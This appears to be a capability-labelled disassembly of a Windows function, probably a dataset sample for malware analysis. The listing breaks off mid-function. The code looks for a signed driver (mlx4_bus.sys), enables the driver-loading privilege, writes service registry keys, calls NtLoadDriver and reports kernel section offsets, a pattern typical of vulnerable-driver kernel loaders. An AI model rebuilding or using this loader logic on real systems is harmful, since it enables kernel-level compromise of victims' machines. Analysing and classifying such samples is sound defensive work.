Function at 0x140061da0
Capabilities:
Enumerate pe sections
Execute command
Get system information on windows
Install driver
Make suspicious ntquerysysteminformation call
Parse pe header
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x140090380]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor edi, edi
mov dword [rbp + 0x28], edi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rbp + 0x1e0], rax
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
mov rcx, qword [0x1400909f8]
call fcn.140068980
mov r15, rax
mov qword [rsp + 0x40], rax
mov ebx, edi
mov dword [rbp + 0x20], edi
lea r9, [rbp + 0x20]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
mov r13d, 4
cmp eax, 0xc0000004
jne 0x140061e76
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x20]
mov r9d, r13d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x20]
mov r8d, dword [rbp + 0x20]
mov rdx, rax
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x140061e32
test eax, eax
js 0x140061f5c
mov esi, edi
cmp dword [rbx], edi
jbe 0x140061f5c
nop dword [rax + rax]
mov eax, esi
imul rcx, rax, 0x128
lea r14, [rcx + rbx]
movzx edx, word [r14 + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
mov qword [rbp + 0xd8], rdi
mov qword [rbp + 0xe0], rdi
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x140061ed0
lea rcx, [rbp + 0xc8]
call fcn.1400147c0
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rcx, qword [rbp + 0xc8]
lea rdx, str.mlx4_bus.sys
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140061fa2
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x140061f52
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061f4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140061fef
call fcn.14006d3d4
inc esi
cmp esi, dword [rbx]
jb 0x140061e90
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [r15], 0x4550
je 0x14006216c
lea rdx, str.invalid_NT_signature_in_target_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140063e93
mov rsi, qword [r14 + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x140061ffb
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061ff6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140061ff6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d3d4
test rsi, rsi
je 0x140061f6d
lea rcx, [0x140070c18]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, 7
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140070c1c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
mov ebx, 1
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140070bf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [0x1400148c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r13w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov r8d, 0xf
lea rdx, str.Driver_Found___
lea rcx, [rbp - 0x60]
call fcn.1400147c0
nop
lea rbx, [rbp - 0x60]
mov rdi, qword [rbp - 0x60]
mov r14, qword [rbp - 0x48]
cmp r14, 0xf
cmova rbx, rdi
lea rcx, [rbp - 0x60]
cmova rcx, rdi
mov rsi, qword [rbp - 0x50]
add rsi, rcx
cmp rbx, rsi
je 0x140062122
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014320
lea rdx, [0x1400148c0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rsi
jne 0x1400620f0
cmp r14, 0xf
jbe 0x14006215c
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140062154
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062154
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.14006d3d4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140063e93
mov ebx, dword [r15 + 0x50]
mov dword [rsp + 0x68], ebx
mov eax, dword [0x14007e250]
mov dword [rbp + 0x20], eax
movzx eax, word [0x14007e254]
mov word [rbp + 0x24], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rdi
mov r8d, 0xc
lea rdx, str.mlx4_bus.sys
lea rcx, [rbp - 0x40]
call fcn.1400147c0
mov r9d, ebx
lea r8, [rbp + 0x20]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x30]
call fcn.14005f6c0
nop
cmp dword [rbp + 0x78], 0
jne 0x1400621d4
lea rdx, str.failed_to_get_info_for_potential_signed_driver.
jmp 0x140063e6d
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov r8d, 0x15
lea rdx, str.SeLoadDriverPrivilege
lea rcx, [rbp + 0x120]
call fcn.140054a00
mov qword [rbp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, 1
test eax, eax
jne 0x140062230
movzx ebx, sil
jmp 0x1400622be
mov qword [rbp + 0xb0], rdi
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 7
cmova rdx, qword [rbp + 0x120]
lea r8, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x140062267
movzx ebx, sil
jmp 0x1400622be
mov dword [rbp + 0x90], esi
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0x94], rax
mov dword [rbp + 0x9c], 2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
mov r9d, 0x10
lea r8, [rbp + 0x90]
xor edx, edx
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400622b2
movzx ebx, sil
jmp 0x1400622be
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor bl, bl
mov rdx, qword [rbp + 0x138]
cmp rdx, 7
jbe 0x140062307
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062302
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062302
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d3d4
test bl, bl
je 0x140062313
mov r12d, edi
jmp 0x1400629ef
xor r8d, r8d
lea rdx, [rbp + 0x30]
lea rcx, [rbp]
call fcn.1400547d0
mov rbx, rax
mov qword [rbp + 0x90], rdi
lea rax, [0x1400900f0]
mov qword [rbp + 0x98], rax
lea r8, [rbp + 0x90]
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.14005dee0
mov dword [rbp + 0x28], esi
cmp dword [rbp + 0x90], 0
jne 0x140063eda
lea r12, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r12, qword [rbp - 0x80]
mov r15, qword [rbp - 0x70]
call fcn.14006caac
mov r13d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov r8, rdi
mov qword [rsp + 0x58], rdi
mov ecx, 0xf
mov qword [rsp + 0x60], rcx
mov byte [rsp + 0x48], r8b
mov dword [rbp + 0x28], 0x11
test r15, r15
je 0x14006249a
cmp r15, 0x7fffffff
ja 0x140063ef1
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8d, r15d
mov rdx, r12
mov ecx, eax
call fcn.14006cb1c
mov rsi, rax
shr rax, 0x20
test eax, eax
jne 0x140063efc
movsxd rcx, esi
mov rdx, qword [rsp + 0x58]
cmp rcx, rdx
ja 0x140062400
mov qword [rsp + 0x58], rcx
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rax, qword [rsp + 0x48]
mov byte [rax + rcx], 0
jmp 0x14006245e
mov r14, rcx
sub r14, rdx
mov r8, qword [rsp + 0x60]
mov rax, r8
sub rax, rdx
cmp r14, rax
ja 0x140062441
mov qword [rsp + 0x58], rcx
lea rbx, [rsp + 0x48]
cmp r8, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rdx
mov r8, r14
xor edx, edx
mov rcx, rbx
call fcn.14006e5f8
mov byte [r14 + rbx], 0
jmp 0x14006245e
mov byte [rsp + 0x20], 0
mov r9, r14
movzx r8d, byte [rbp + 0x80]
mov rdx, r14
lea rcx, [rsp + 0x48]
call fcn.140055280
lea r9, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova r9, qword [rsp + 0x48]
mov dword [rsp + 0x20], esi
mov r8d, r15d
mov rdx, r12
mov ecx, r13d
call fcn.14006cb1c
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140063f08
mov rcx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov r14d, 0xf
mov dword [rbp + 0x28], r14d
mov rax, rcx
sub rax, r8
cmp rax, 4
jb 0x140062542
lea rax, [r8 + 4]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rcx, r14
cmova rbx, qword [rsp + 0x48]
lea rax, [0x14007e150]
lea r15, str.___
cmp rax, rbx
jbe 0x1400624ff
lea rax, [rbx + r8]
cmp r15, rax
ja 0x1400624ff
mov r13d, 4
cmp rbx, r15
ja 0x1400624f7
mov rsi, rdi
jmp 0x140062508
mov rsi, rbx
sub rsi, r15
jmp 0x140062508
mov r13d, 4
mov esi, r13d
inc r8
lea rcx, [rbx + 4]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rsi
mov rdx, r15
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov r8, r13
sub r8, rsi
lea rdx, [r15 + 4]
add rdx, rsi
lea rcx, [rbx + rsi]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x48]
jmp 0x140062571
mov r13d, 4
mov qword [rsp + 0x28], r13
lea rax, str.___
mov qword [rsp + 0x20], rax
xor r9d, r9d
movzx r8d, byte [rbp + 0x80]
mov edx, r13d
lea rcx, [rsp + 0x48]
call fcn.1400557c0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
or r14d, 0x20
mov dword [rbp + 0x28], r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], rdi
mov r8d, 0x22
lea rdx, str.SystemCurrentControlSetServices_
lea rcx, [rbp + 0x90]
call fcn.1400147c0
nop
mov rsi, qword [rbp + 0x60]
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r9, qword [rbp + 0x50]
mov r14, qword [rbp + 0xa0]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x140062647
lea rax, [rsi + r14]
mov qword [rbp + 0xa0], rax
lea rbx, [rbp + 0x90]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0x90]
lea rcx, [rbx + r14]
mov r8, rsi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rbx]
mov byte [rax + r14], 0
jmp 0x140062663
mov qword [rsp + 0x20], rsi
movzx r8d, byte [rbp + 0x80]
mov rdx, rsi
lea rcx, [rbp + 0x90]
call fcn.1400550f0
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
lea r8, [rbp + 0x20]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x1400626d7
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x1400626d0
inc rdx
mov rcx, qword [rbp + 0x90]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400626cb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140062804
call fcn.14006d3d4
mov bl, 1
jmp 0x140062815
mov byte [rbp + 0x82], 1
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x82]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006268f
mov byte [rbp + 0x83], 3
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x83]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
lea rdx, str.ErrorControl
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006268f
mov byte [rbp + 0x80], 3
mov dword [rsp + 0x28], r13d
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006268f
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rcx, qword [rbp + 0xc8]
mov eax, dword [rbp + 0xd8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x14006268f
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, eax
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140062810
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006280b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14006280b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d3d4
test ebx, ebx
setne bl
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x140062859
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062854
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140062854
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d3d4
movdqa xmm0, xmmword [0x14007e670]
movdqu xmmword [rbp + 0xd8], xmm0
mov byte [rbp + 0xc8], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400628b0
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400628ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400628ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d3d4
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
lea rcx, [rbp - 0x80]
call fcn.14005dd70
nop
lea rcx, [rbp]
call fcn.14005dd70
test bl, bl
je 0x1400628e2
mov r12d, edi
jmp 0x1400629ef
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x100], rdi
mov r8d, 0x34
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0xe8]
call fcn.1400147c0
nop
mov rsi, qword [rbp + 0x60]
lea r9, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r9, qword [rbp + 0x50]
mov r14, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x140062977
lea rax, [rsi + r14]
mov qword [rbp + 0xf8], rax
lea rbx, [rbp + 0xe8]
cmp rcx, 0xf
cmova rbx, qword [rbp + 0xe8]
lea rcx, [rbx + r14]
mov r8, rsi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rbx]
mov byte [rax + r14], 0
jmp 0x140062993
mov qword [rsp + 0x20], rsi
movzx r8d, byte [rbp + 0x80]
mov rdx, rsi
lea rcx, [rbp + 0xe8]
call fcn.1400550f0
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0x1a8]
call sub.ntdll.dll_RtlInitAnsiString
mov r8b, 1
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_RtlAnsiStringToUnicodeString
lea rcx, [rbp + 0xb8]
call sub.ntdll.dll_NtLoadDriver
mov ebx, eax
lea rcx, [rbp + 0xe8]
call fcn.1400149d0
mov r12d, edi
test ebx, ebx
sete r12b
lea r15, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova r15, qword [rbp + 0x50]
mov rbx, rdi
mov dword [rbp + 0x28], edi
lea r9, [rbp + 0x28]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x140062a64
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x28]
mov r9d, r13d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x28]
mov r8d, dword [rbp + 0x28]
mov rdx, rax
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x140062a20
test eax, eax
js 0x140062b28
mov esi, edi
cmp dword [rbx], edi
jbe 0x140062b28
nop word [rax + rax]
mov eax, esi
imul rcx, rax, 0x128
lea r14, [rbx + rcx]
movzx eax, word [r14 + 0x2e]
add rax, rbx
lea rdx, [rcx + 0x30]
add rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], rdi
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140062ac0
lea rcx, [rbp + 0x140]
call fcn.1400147c0
lea rcx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rcx, qword [rbp + 0x140]
mov rdx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400631c2
mov r8, qword [rbp + 0x158]
cmp r8, 0xf
jbe 0x140062b1e
mov rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x140]
call fcn.14005d240
inc esi
cmp esi, dword [rbx]
jb 0x140062a80
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, rdi
cmp r12d, 1
ja 0x140063e66
test rsi, rsi
je 0x140063e66
lea rdx, str.loaded_signed_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
mov rcx, rax
lea rdx, str.at__0x
call fcn.140014560
lea rdx, [0x140061580]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str.__with_result__0x
call fcn.140014560
lea rdx, [0x140061580]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, r12d
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x14007e2c4]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r14d, dword [rbp + 0x70]
add r14, rsi
mov qword [rsp + 0x78], r14
lea rdx, str.target_section__.data__offset__0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014560
lea rdx, [0x140061580]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, str.__size__0x
call fcn.140014560
lea rdx, [0x140061580]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov edx, dword [rbp + 0x74]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, str.__map_start__0x
call fcn.140014560
lea rdx, [0x140061580]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, r14
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x14007e2c4]
call fcn.140014560
lea rdx, [0x140055fa0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, rdi
mov dword [rbp + 0x20], edi
lea r9, [rbp + 0x20]
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne 0x140062cf4
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 0x20]
mov r9d, r13d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
lea r9, [rbp + 0x20]
mov r8d, dword [rbp + 0x20]
mov rdx, rax
mov ecx, 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
je 0x140062cb0
test eax, eax
js 0x140062dbc
mov esi, edi
cmp dword [rbx], edi
jbe 0x140062dbc
nop word [rax + rax]
mov eax, esi
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
add rdx, 0x30
add rdx, rcx
add rdx, rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x100], rdi
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140062d50
lea rcx, [rbp + 0xe8]
call fcn.1400147c0
lea rcx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova rcx, qword [rbp + 0xe8]
lea rdx, [0x14007dff8]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140063215
mov r8, qword [rbp + 0x100]
cmp r8, 0xf
jbe 0x140062db2
mov rdx, qword [rbp + 0xe8]
lea rcx, [rbp + 0xe8]
call fcn.14005d240
inc esi
cmp esi, dword [rbx]
jb 0x140062d10
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.140060850
mov r13, rax
call fcn.140060410
mov r12, rax
test r13, r13
je 0x140063e5d
test rax, rax
je 0x140063e5d
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
